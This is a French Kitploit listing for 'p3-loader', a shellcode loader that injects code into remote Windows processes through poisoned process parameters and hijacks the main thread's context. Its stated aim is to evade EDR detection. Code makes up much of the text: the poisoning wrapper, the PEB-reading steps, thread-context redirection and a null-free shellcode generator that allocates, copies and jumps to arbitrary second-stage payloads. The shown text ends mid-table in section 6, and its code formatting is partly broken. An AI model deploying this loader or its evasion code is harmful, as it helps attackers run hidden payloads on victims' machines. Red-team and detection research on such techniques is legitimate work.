Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
p3-loader — P³-Shellcode Loader est un chargeur qui implémente une technique d'injection de code utilisant la structure des paramètres de processus (Process Parameters) comme emplacement d'exécution et de mise en scène pour l'injection de shellcode dans des processus distants, sans déclencher les mécanismes de détection courants. | Kitploit
Outils/GitHubGitHub/orange-cyberdefense/p3-loader
Outils DéfensifsEscalade de PrivilègesExploitationShellcodePost-ExploitationTests d'IntrusionArticles et RechercheApprentissage et ÉducationRed Teaming

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Développement de Charges Utiles
Exploitation de Binaires
GitHuborange-cyberdefense/p3-loader

p3-loader

Voir le dépôt
20423il y a 1 moisVérifié par Kitploit

À propos

P³-Shellcode Loader est un chargeur qui implémente une technique d'injection de code utilisant la structure des paramètres de processus (Process Parameters) comme emplacement d'exécution et de mise en scène pour l'injection de shellcode dans des processus distants, sans déclencher les mécanismes de détection courants.

Partager

P³-Shellcode Loader - Empoisonnement des paramètres de processus

Auteurs : Max Hirschberger & Ogulcan Ugur


Sommaire

  1. Introduction
  2. Injection de processus typique et API système impliquées
  3. Fondements techniques des mécanismes internes de Windows requis
    • 3.1 API de création de processus et paramètres de démarrage
    • 3.2 Le bloc d'environnement du processus (PEB)
  4. Empoisonnement des paramètres de processus (P³)
    • 4.1 Démarrage d'un processus avec un paramètre empoisonné
    • 4.2 Localisation des données injectées dans le nouveau processus
    • 4.3 Exécution du code injecté
    • 4.4 Injections de charges utiles implémentées
  5. Transmission d'un shellcode arbitraire dans une chaîne
    • 5.1 Méthodes auxiliaires de bas niveau utilisées par le générateur de shellcode
    • 5.2 Implémentation des opérations de plus haut niveau
  6. Avantages de l'évitement de détection par cette technique
  7. Approche de détection
  8. Conclusion
  9. Références

1. Introduction

P³-Shellcode Loader est un chargeur qui implémente une technique d'injection de code exploitant la structure des paramètres de processus (Empoisonnement des paramètres de processus) comme emplacement d'exécution et de staging pour l'injection de shellcode dans des processus distants, sans déclencher les mécanismes de détection courants.

Un concept similaire a été décrit par le chercheur en sécurité modexp, qui a démontré que les arguments passés à l'API CreateProcess peuvent être utilisés à cette fin [1].


2. Injection de processus typique et API système impliquées

Les attaquants souhaitent rendre leurs activités moins suspectes. Avec l'injection de processus, les attaquants peuvent effectuer leurs activités depuis un processus différent, plus fiable ou attendu pour réaliser l'activité spécifique, réduisant ainsi les soupçons.

Voici les étapes typiques requises pour injecter du code dans un autre processus :

  1. L'attaquant recherche et ouvre un processus cible ou démarre un nouveau processus (via OpenProcess / NtOpenProcess ou CreateProcess / NtCreateProcess).
  2. La mémoire pour le code malveillant est allouée dans le processus cible (via VirtualAllocEx ou NtAllocateVirtualMemory).
  3. Le code malveillant est écrit dans la nouvelle allocation (via WriteProcessMemory / NtWriteVirtualMemory).
  4. La protection d'accès mémoire est configurée pour permettre l'exécution du code malveillant (via VirtualProtectEx / NtProtectVirtualMemory).
  5. Un nouveau thread est démarré dans le processus cible qui exécute le code malveillant (via CreateRemoteThread ou NtCreateThreadEx).

Les techniques d'injection supplémentaires incluent, sans s'y limiter, les suivantes :

  • Détournement de thread : Au lieu de créer un nouveau thread, un thread existant est redirigé (via NtSetContextThread)
  • Injection Early-Bird APC : Utilise les appels de procédure asynchrones (APC) pour rediriger l'exécution d'un thread existant (via NtQueueApcThread)
  • Dirty Vanity : Abuse de l'API Windows RtlCreateProcessReflection, qui implémente le forking de processus. Lors de nos tests, nous avons observé que la plupart des EDR se concentrent sur une télémétrie spécifique pour détecter l'injection de processus. Les EDR surveillent principalement l'utilisation de WriteProcessMemory et VirtualAllocEx, ainsi que leurs appels système noyau sous-jacents NtWriteVirtualMemory, NtAllocateVirtualMemory et NtAllocateVirtualMemoryEx.

3. Fondements techniques des mécanismes internes de Windows requis

3.1 API de création de processus et paramètres de démarrage

Windows fournit la fonction API CreateProcessW pour créer de nouveaux processus, illustrée dans le Listing 1. Les trois premiers de ses paramètres lpCommandLine, lpEnvironment et lpStartupInfo sont pertinents pour la technique d'injection décrite, car ils sont utilisés pour transférer des données vers le nouveau processus.```c BOOL CreateProcessW( [in, optional] LPCWSTR lpApplicationName, [in, out, optional] LPWSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCWSTR lpCurrentDirectory, [in] LPSTARTUPINFOW lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation );

root@kitploit:~
*Listing 1 : Définition de la fonction API Windows CreateProcessW*
 
Le paramètre `lpCommandLine` spécifie la ligne de commande du nouveau processus. Il est limité à un maximum de 32 767 caractères Unicode, y compris le terminateur nul Unicode. Pour la variante Unicode, il est nécessaire de fournir une chaîne que la fonction peut écrire. Si une chaîne constante est fournie, toute tentative d'écriture de la part de la fonction API entraîne une violation d'accès mémoire. Si la valeur est `NULL`, la ligne de commande du processus sera prise du paramètre `lpApplicationName`. Si `lpApplicationName` est `NULL`, elle doit être fournie dans le champ `lpCommandLine` et est limitée à `MAX_PATH` caractères.
 
Le paramètre `lpEnvironment` fournit une liste de variables d'environnement au processus. Si la valeur est `NULL`, l'environnement du processus créateur sera utilisé. La liste des variables d'environnement est constituée de chaînes terminées par un caractère nul successives au format `NOM=VALEUR` avec un autre terminateur nul à la fin.
 
Le paramètre `lpStartupInfo` est une structure présentée dans le Listing 2 avec des champs tels que la station de fenêtre, le bureau, les handles d'entrée et sortie standard ainsi que des champs qui configurent la fenêtre principale du nouveau processus. Selon la documentation Microsoft, le champ `lpReserved` est réservé à un usage interne sans documentation supplémentaire. Grâce à l'analyse avec le débogueur WinDbg, il a été possible de relier ce paramètre à la variable `ShellInfo` de type `UNICODE_STRING` dans le nouveau processus.```c
typedef struct _STARTUPINFOW {
    DWORD  cb;
    LPWSTR lpReserved;   // Copied to ShellInfo (UNICODE_STRING)
    LPWSTR lpDesktop;
    LPWSTR lpTitle;
    DWORD  dwX;
    DWORD  dwY;
    DWORD  dwXSize;
    // (...) additional fields
    WORD   wShowWindow;
    WORD   cbReserved2;
    LPBYTE lpReserved2;
    HANDLE hStdInput;
    // (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;

Liste 2 : Disposition de la structure de données STARTUPINFOW

3.2 Le bloc d'environnement du processus (PEB)

Lors de la création d'un nouveau processus, tous les paramètres de processus fournis sont écrits dans le bloc d'environnement du processus (PEB). Le PEB est une structure de données présente dans tous les processus et unique à chaque processus. Les paramètres sont accessibles dans le membre ProcessParameters du type RTL_USER_PROCESS_PARAMETERS. Outre les paramètres de processus, cette structure contient également des informations d'exécution supplémentaires, telles qu'une liste des modules chargés. La structure du PEB et les paramètres de processus pertinents dans le RTL_USER_PROCESS_PARAMETERS sont présentés dans la Liste 3 et la Liste 4.```c typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; // (...) additional fields PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; // (...) additional fields } PEB, *PPEB;

root@kitploit:~
*Listing 3: Disposition de la structure de données PEB*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    // (...) additional fields
    CURDIR         CurrentDirectory;
    UNICODE_STRING DllPath;       // Potential candidate for transfer
    UNICODE_STRING ImagePathName; // Potential candidate for transfer
    UNICODE_STRING CommandLine;   // Primary candidate for transfer
    PVOID          Environment;   // Primary candidate for transfer
    // (...) additional fields
    UNICODE_STRING ShellInfo;     // Primary candidate for transfer
                                  // (lpReserved in STARTUPINFO)
    UNICODE_STRING RuntimeData;   // Potential candidate for transfer
    // (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

Listing 4 : Disposition de la structure de données RTL_USER_PROCESS_PARAMETERS

La figure 1 montre le paramètre ShellInfo avec la valeur de poison fournie dans le champ lpReserved de la structure STARTUPINFOW. De plus, la figure 2 montre la ligne de commande contrôlée dans l'outil System Informer.

image

Figure 1 : Paramètre ShellInfo empoisonné

image

Figure 2 : Ligne de commande empoisonnée


4. Empoisonnement des paramètres de processus (P³)

4.1 Démarrage d'un processus avec un paramètre empoisonné

Étant donné qu'il existe plusieurs paramètres pouvant être utilisés pour copier le code malveillant, la fonction d'encapsulation dans le listing 5 crée un processus avec l'argument poison fourni au paramètre de processus choisi. Lors de l'exécution de l'injecteur implémenté, ce choix peut être effectué comme le montre la figure 3. De plus, n'importe quelle valeur peut être fournie pour l'application cible qui sera utilisée dans lpApplication, avec l'invite utilisateur illustrée à la figure 4.```cpp BOOL CreateProcessWithPoison (int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) { STARTUPINFOW si = { 0 }; switch (choice) { case 1: // Injection via ShellInfo (lpReserved) printf("[] Writing into ShellInfo...\n"); si.lpReserved = poisonParameter; return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); case 2: // Injection via Environment block printf("[] Writing into Environment block...\n"); return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi); case 3: // Injection via CommandLine printf("[~] Writing into CommandLine...\n"); return CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); default: return FALSE; } }

root@kitploit:~
*Liste 5 : Implémentation de CreateProcessWithPoison*

Cette fonction implémente trois choix de paramètres distincts :

1. **Injection dans ShellInfo :** Place le poison dans le champ `lpReserved` du paramètre `lpStartupInfo` qui sera copié dans la variable `ShellInfo` du PEB
2. **Injection dans l'environnement :** Place le poison dans le paramètre `lpEnvironment` avec le flag `CREATE_UNICODE_ENVIRONMENT`
3. **Injection dans la ligne de commande :** Place le poison dans le paramètre `lpCommandLine` de `CreateProcessW`

<img width="753" height="445" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />


*Figure 3 : Sélection du paramètre empoisonnable*


<img width="752" height="167" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />

 
*Figure 4 : Sélection de l'exécutable applicatif ciblé*
 
### 4.2 Localisation des données injectées dans le nouveau processus
 
Après une création réussie du processus, les données injectées peuvent être trouvées via la structure PEB. Les trois étapes suivantes sont nécessaires pour localiser le poison dans le nouveau processus.
 
Tout d'abord, l'adresse de départ de la structure PEB est déterminée en appelant `NtQueryInformationProcess`. `NtQueryInformationProcess` récupère la structure de données `PROCESS_BASIC_INFORMATION` lorsqu'elle est appelée avec la classe d'information `ProcessBasicInformation`. Et `PROCESS_BASIC_INFORMATION` contient l'adresse du PEB dans le champ `PebBaseAddress`. Cette étape est montrée dans la Liste 6.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
    pi.hProcess,             // Handle of the new process
    ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
    &pbi,                    // Destination
    sizeof(pbi),             // Size of the destination
    &retLen                  // Resulting size of what was read
);

Listing 6 : Première étape de localisation des données injectées

Dans la deuxième étape, la structure PEB est lue en appelant NtReadVirtualMemoryEx avec l'adresse de départ de la structure qui a été récupérée dans la première étape. L'implémentation de la deuxième étape est présentée dans le Listing 7.```cpp PEB pebLocal = { 0 }; SIZE_T bytesRead; NTSTATUS status = winapi.NtReadVirtualMemoryEx( pi.hProcess, // Handle of the new process pbi.PebBaseAddress, // Starting address of the PEB &pebLocal, // Destination / Local copy of the PEB sizeof(pebLocal), // Size to be read &bytesRead, // Resulting size of what was read 0 // Reserved parameter );

root@kitploit:~
*Listing 7 : Deuxième étape de localisation des données injectées*
 
Après avoir lu le PEB, le champ `ProcessParameters` contient l'adresse de départ de la structure `RTL_USER_PROCESS_PARAMETERS` dans le nouveau processus. Dans la troisième étape, cette structure est également lue à partir du nouveau processus. Les pointeurs vers les données injectées se trouvent dans cette structure. La troisième étape est présentée dans le Listing 8.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
    pi.hProcess,                // Handle of target process
    pebLocal.ProcessParameters, // ProcessParameters address in target
    &parameters,                // Output buffer / Local copy
    sizeof(parameters),         // Size to be read
    &bytesRead,                 // Resulting size of what was read
    0                           // Reserved parameter
);

Liste 8 : Troisième étape de la localisation des données injectées

Cette approche utilise uniquement des API de lecture mémoire et aucune API d’écriture ou d’allocation que les EDR surveillent. Cependant, il existe une limitation imposée par les paramètres. Étant donné que ces paramètres sont des chaînes terminées par un caractère nul, seul un shellcode sans terminateur nul peut être entièrement transféré. Une solution pour surmonter cette limitation est présentée dans la section 5.

4.3 Exécution du code injecté

Après le transfert du code, l’exécution du processus doit encore être dirigée vers le code. De plus, la protection mémoire des données injectées doit être ajustée, car les paramètres ne sont pas placés dans des régions marquées comme exécutables.

Pour modifier la protection, l’API Windows NtProtectVirtualMemory est utilisée pour passer de la protection en lecture/écriture à la protection en lecture/exécution uniquement.

Pour rediriger l’exécution du code vers le shellcode, les trois méthodes suivantes existent :

  • CreateRemoteThread / NtCreateThreadEx : Crée un nouveau thread qui démarre sur le shellcode
  • QueueUserAPC / NtQueueApcThread : Place un APC dans la file d’attente d’un thread existant, ce qui finit par le rediriger vers le shellcode
  • Manipulation du contexte de thread : Modifie le pointeur d’instruction d’un thread existant pour déplacer son exécution vers le shellcode

Lors de l’implémentation initiale de cette technique, l’approche Dirty Vanity a été évaluée pour exécuter le code. Cependant, plusieurs EDR ont déclenché des alertes pour cette méthode.

Un examen détaillé de l’implémentation de RtlCreateProcessReflection a révélé qu’elle appelle NtWriteVirtualMemory et NtCreateThreadEx. Essentiellement, elle crée un thread dans un processus cible pour exécuter une fonction dans ntdll.dll. Cette fonction crée le processus forké en appelant RtlCloneUserProcess et effectue également une écriture mémoire dans le processus forké.

Étant donné que NtWriteVirtualMemory est l’un des indicateurs principaux utilisés par les EDR, la méthode Dirty Vanity ne fait qu’éveiller des soupçons au-delà du nécessaire.

Au lieu de cela, la manipulation du contexte du thread principal est utilisée, car elle présente les avantages suivants par rapport à Dirty Vanity :

  • Disponibilité des handles de thread : CreateProcessW fournit déjà un handle valide pour le thread principal dans la structure PROCESS_INFORMATION. Un handle est un objet de référence abstrait que le noyau fournit pour interagir avec les ressources système, telles que les processus, les threads et les fichiers. Les handles sont essentiellement des index dans des tables de handles spécifiques au processus qui associent chaque handle à un objet dans le noyau avec un niveau d’accès associé à l’objet.
  • Éviter les appels API suspects : NtWriteVirtualMemory, VirtualAllocEx et CreateRemoteThread ne sont jamais utilisés, seul NtSetContextThread est appelé.

Le contexte d’un thread est l’état de tous les registres du processeur. Il est donc possible de rediriger le flux d’exécution d’un thread en manipulant son contexte, c’est-à-dire en modifiant le registre du pointeur d’instruction. Généralement, le contexte du thread est manipulé selon les étapes suivantes :

  1. Suspension du thread : Le thread cible est mis en état suspendu soit en appelant SuspendThread, soit en le créant dans un état suspendu
  2. Lecture du contexte : Le contexte actuel est lu dans une structure de données CONTEXT via GetThreadContext
  3. Modification du contexte : Les modifications souhaitées sont apportées au contexte, par exemple en modifiant le registre du pointeur d’instruction RIP
  4. Application du contexte : Le contexte modifié est écrit dans le thread en appelant SetThreadContext
  5. Reprise du thread : ResumeThread est appelé pour reprendre l’exécution du thread à la nouvelle valeur de RIP

Le contexte d’un thread peut être modifié sans le suspendre au préalable. Il n’est donc pas nécessaire d’appeler SuspendThread et ResumeThread, qui pourraient être surveillées par les EDR pour l’injection de processus. De plus, l’appel à GetThreadContext peut également être ignoré, si l’exécution antérieure n’a pas besoin d’être restaurée ultérieurement. L’implémentation résultante est présentée dans la Liste 9.```cpp NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) { CONTEXT ctx; ctx = { 0 }; ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough WinApiResolver winapi = WinApiResolver::GetInstance(); NTSTATUS status = 0;

root@kitploit:~
status = winapi.NtGetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
    SetColor(FOREGROUND_RED);
    printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
    return status;
}

ctx.Rip = (DWORD64)shellcode;

status = winapi.NtSetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
    SetColor(FOREGROUND_RED);
    printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
    return status;
}

return 0;

}

root@kitploit:~
*Listing 9: Manipulation du contexte de thread dans ThreadSetExec*
 
### 4.4 Injections de charge utile implémentées
 
Notre implémentation de cette technique d'injection inclut les quatre options de charge utile suivantes, illustrées dans la Figure 5.
 
1. La première option est une simple démo qui affiche une fenêtre contextuelle et est montrée dans la Figure 5. Cette option ne nécessite aucun shellcode ou fichier exécutable supplémentaire à injecter.
2. La deuxième option prend une représentation hexadécimale d'un shellcode et l'injecte. Si le shellcode contient des octets nuls, il est injecté avec la méthode décrite dans la Section 5.
3. La troisième option accepte un chemin vers un fichier DLL qui est ensuite fourni à `LoadLibraryA` dans la cible.
4. Enfin, la quatrième option charge un shellcode brut depuis une URL HTTP(S) et gère également la limitation des octets nuls.

<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />


*Figure 5: Choix du shellcode injecté*


<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />


*Figure 6 : Boîte de message créée par le shellcode*
 
---

## 5. Passage d'un shellcode arbitraire dans une chaîne
 
Il n'est pas possible de passer des données arbitraires dans les paramètres. En effet, seules les données jusqu'à un terminateur nul sont copiées. Pour surmonter cette limitation, nous avons construit un générateur de shellcode qui n'émet pas de terminateurs nuls.
 
Ce générateur de shellcode peut créer un shellcode pour appeler `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` ou `NtSuspendThread` avec des paramètres arbitraires. De plus, il peut générer un shellcode qui décode un shellcode de deuxième étape arbitraire et saute dessus.
 
Il est implémenté dans la classe C++ `ShellCodeWriter` avec des méthodes d'aide privées et des méthodes publiques pour la fonctionnalité exposée. Les détails d'implémentation seront expliqués dans ce qui suit.
 
### 5.1 Méthodes d'aide de bas niveau utilisées par le générateur de shellcode
 
`Xor` est utilisé comme primitive qui permet au shellcode de générer n'importe quelle donnée, y compris des octets nuls. Cette primitive est implémentée dans la méthode d'aide `SetRAXXOR` qui prend deux valeurs 64 bits. Elle émet un shellcode qui effectue une opération xor avec les deux valeurs 64 bits données et enregistre le résultat dans le registre `RAX`.
 
La méthode d'aide supplémentaire `SetRAX` crée ces deux valeurs 64 bits qui, lorsqu'elles sont xorées, donnent une valeur donnée. Elle garantit également que ces deux valeurs 64 bits ne contiennent aucun octet nul. En substance, `SetRAX` émet un shellcode qui définira le registre `RAX` sur une valeur 64 bits arbitraire.
 
`SetRAXXOR` et `SetRAX` sont tous deux montrés dans le Listing 10. De plus, le code machine résultant de trois appels d'exemple `SetRAX` est montré dans le Listing 11.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
    const char gadget[] =
        "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
        "\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
        "\x4C\x31\xF8";                              // xor rax, r15
    uint64_t* xor_a = (uint64_t*)(gadget + 2);
    uint64_t* xor_b = (uint64_t*)(gadget + 12);
    *xor_a = xor_a_value;
    *xor_b = xor_b_value;
    AppendShellCode(gadget, 23);
}
 
void ShellCodeWriter::SetRAX(uint64_t value)
{
    if (value == 0)
    {
        AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
        return;
    }
    uint64_t xor_a = 0, xor_b = 0x0101010101010101;
    // Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
    for (int i = 0; i < 8; i++)
    {
        if (((uint8_t*)(&value))[i] == 0x01)
        {
            ((uint8_t*)(&xor_b))[i] = 0x02;
        }
    }
    xor_a = value ^ xor_b;
    SetRAXXOR(xor_a, xor_b);
}

Liste 10: Implémentation de SetRAXXOR et SetRAX```asm ; SetRAX(0) xor rax, rax

; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15

; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15

root@kitploit:~
*Listing 11: Exemples de code émis par SetRAX*
 
`SetRAX` est la base des méthodes auxiliaires `PushValue`, `PushBuffer`, `SetArgRegister` et `SetArgRegisterStackRelative`. `PushValue` appelle `SetRAX` et le suit d'une instruction `push RAX` qui permet donc de pousser des valeurs arbitraires sur la pile. `PushBuffer` utilise `PushValue` pour écrire un tableau arbitraire d'octets sur la pile ; pour cela, il divise les données en valeurs 64 bits et les pousse dans l'ordre inverse. L'ordre doit être inversé, car le pointeur de pile est décrémenté après chaque push. Le générateur de shellcode suit le nombre d'octets poussés via la variable `m_total_consumed_stack_bytes`. Cette variable est utilisée dans la méthode auxiliaire `FreeStack` pour nettoyer la pile, en ramenant le pointeur de pile à sa valeur initiale.
 
Dans l'interface binaire d'application Windows 64 bits x86, les registres `RCX`, `RDX`, `R8` et `R9` sont utilisés pour les quatre premiers arguments lors de l'appel d'une fonction. Les arguments supplémentaires sont poussés sur la pile, après un espace fantôme de 32 octets. L'espace fantôme est réservé pour la fonction appelée et est utilisé pour sauvegarder les quatre premiers registres d'arguments. `SetArgRegister` et `SetArgRegisterStackRelative` sont utilisés pour définir l'un de ces quatre registres d'arguments. `SetArgRegister` affecte à un registre donné une valeur constante arbitraire. Et le code généré par `SetArgRegisterStackRelative` écrit le pointeur de pile plus un décalage constant dans le registre d'argument correspondant. Tout argument supplémentaire de fonction peut être poussé avec la méthode auxiliaire `PushValue`.
 
La méthode auxiliaire `Call` émet un code qui aligne le pointeur de pile sur 16 octets, puis effectue un appel à l'adresse donnée et enfin annule tout changement d'alignement initialement effectué. Un pointeur de pile aligné sur 16 octets est nécessaire pour éviter les plantages dans les fonctions qui utilisent des opérations sur les registres à virgule flottante XMM. Lors de l'appel de fonctions avec des arguments passés sur la pile, l'alignement doit être correct avant d'appeler cette auxiliaire. Sinon, les arguments se retrouvent au mauvais décalage sur la pile.
 
### 5.2 Implémentation des opérations de plus haut niveau
 
L'opération la plus simple est l'appel à `NtTerminateProcess` ou `NtSuspendThread`. En raison de leur similitude, seul `NtTerminateProcess` sera traité, comme indiqué dans la liste 12. `NtTerminateProcess` prend deux paramètres et suit la convention d'appel x64. D'abord, l'auxiliaire `SetArgRegister` est appelée pour les deux paramètres, afin de les initialiser avec les valeurs fournies. Ensuite, la fonction API est appelée.
 
Étant donné que le shellcode est généré sur la même machine, l'adresse de la fonction est résolue au moment de la génération et non à l'intérieur du shellcode. La résolution des fonctions API est gérée par la classe `WinApiResolver`. Enfin, la méthode auxiliaire `Call` génère l'instruction d'appel et le code d'alignement de la pile.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
    SetArgRegister(0, (uint64_t)ProcessHandle);
    SetArgRegister(1, ExitStatus);
    WinApiResolver winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.NtTerminateProcess);
}

Listing 12 : Implémentation de ShellCodeWriter::CallTerminateProcess

Les fonctions qui prennent des valeurs de pointeur telles que LoadLibraryA et MessageBoxA ne peuvent pas être utilisées de la même manière. Cela est dû au fait qu'une adresse mémoire valide est requise, qui n'est pas connue au moment de la génération du shellcode. Par conséquent, l'assistant SetArgRegisterStackRelative est utilisé pour définir l'argument sur une adresse dans la pile. Dans le Listing 13, la chaîne du paramètre module est écrite sur la pile et le premier registre d'argument est défini pour pointer vers le début de la chaîne du module sur la pile. De plus, la fonction déplace le pointeur de pile de 32 octets pour tenir compte de l'espace d'ombre. Sans cela, la fonction appelée écraserait la chaîne du module.```cpp void ShellCodeWriter::CallLoadLibraryA(LPCSTR module) { PushBuffer(module, strlen(module) + 1); int pos_buf = m_total_consumed_stack_bytes; // Shadow Space AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32 m_total_consumed_stack_bytes += 32; // Populate arg registers SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.LoadLibraryA); }

root@kitploit:~
*Listing 13 : Implémentation de ShellCodeWriter::CallLoadLibraryA*
 
Finalement, `LoadAndCallShellCode` prend un shellcode arbitraire qui peut inclure des octets nuls et l'exécute. Son implémentation est présentée dans les Listings 14 et 15 et est divisée en cinq opérations suivantes :
 
1. Le shellcode arbitraire est écrit sur la pile via `PushBuffer`. Ensuite, l'espace d'ombre est alloué pour protéger le shellcode d'être écrasé.
2. Ensuite, un simple appel à `VirtualAlloc` est effectué en utilisant des paramètres déjà connus au moment de la génération. Cet appel d'API alloue une mémoire protégée en lecture-écriture et pouvant contenir le shellcode.
3. Ensuite, l'adresse mémoire retournée par `VirtualAlloc` est sauvegardée dans les deux registres `R12` et `R10`. Puis `R11` est initialisé à la taille du shellcode et `RCX` est défini pour pointer vers le début du shellcode. Avec les registres `R10`, `R11` et `RCX` définis, six instructions suivent qui effectuent une copie mémoire, copiant le shellcode dans la région mémoire nouvellement allouée.
4. Sauter vers le shellcode n'est pas encore possible, car la région mémoire est protégée en lecture-écriture. Il est possible d'allouer une région lisible, écriture et exécutable, mais cela serait plus susceptible d'être considéré comme suspect. Par conséquent, un appel à `VirtualProtect` est effectué pour changer la protection en lisible et exécutable mais non inscriptible.
5. Et enfin, un saut vers le shellcode est effectué, après s'être assuré que la pile est correctement alignée.```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
    // 1. Pushes the shellcode to the stack
    PushBuffer(shellcode.data(), shellcode.size());
    int pos_sc = m_total_consumed_stack_bytes;
    // Shadow Space
    AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
    m_total_consumed_stack_bytes += 32;
 
    // 2. Allocates READWRITE memory
    CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
 
    { // 3. Copies shellcode from the stack to the newly allocated area
        AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
        AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
        SetRAX(shellcode.size());
        AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
        SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
        // r10: Shellcode dest ptr
        // r11: size
        // rcx: Shellcode src ptr
        const char* copy_sc =
            "\x8A\x01"   // mov al, byte ptr ds:[rcx]
            "\x41\x88\x02" // mov byte ptr ds:[r10], al
            "\x48\xff\xc1" // inc rcx
            "\x49\xff\xc2" // inc r10
            "\x49\xff\xcb" // dec r11
            "\x75\xf0";    // jnz -16
        AppendShellCode(copy_sc, 16);
    }
    // (...)

Listing 14: Implémentation de ShellCodeWriter::LoadAndCallShellCode (étapes 1 à 3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }

root@kitploit:~
if (m_total_consumed_stack_bytes % 16)
{
    AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
    m_total_consumed_stack_bytes += 8;
}

// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12

}

root@kitploit:~
*Listing 15 : Implémentation de ShellCodeWriter::LoadAndCallShellCode (Étapes 4–5)*

---

## 6. Avantages de l'évitement de détection par cette technique

Un avantage majeur de cette technique est qu'aucun processus n'est créé dans un état suspendu et qu'aucun thread ou processus n'est suspendu lors de son exécution. La création de processus suspendus ou les appels répétés à `SuspendThread` sont des indicateurs connus utilisés par les EDR pour le process hollowing, l'injection de processus et les attaques similaires.

De plus, en créant le processus cible, un handle pour le thread principal est déjà disponible et dispose de l'accès requis pour modifier son contexte.

| Aspect | Injection classique | Empoisonnement des paramètres de processus |
|---|---|---|
| Allocation mémoire | `VirtualAllocEx` requise | Aucune allocation explicite |
| Écriture mémoire | `WriteProcessMemory` requise | Indirecte via `CreateProcessW` |
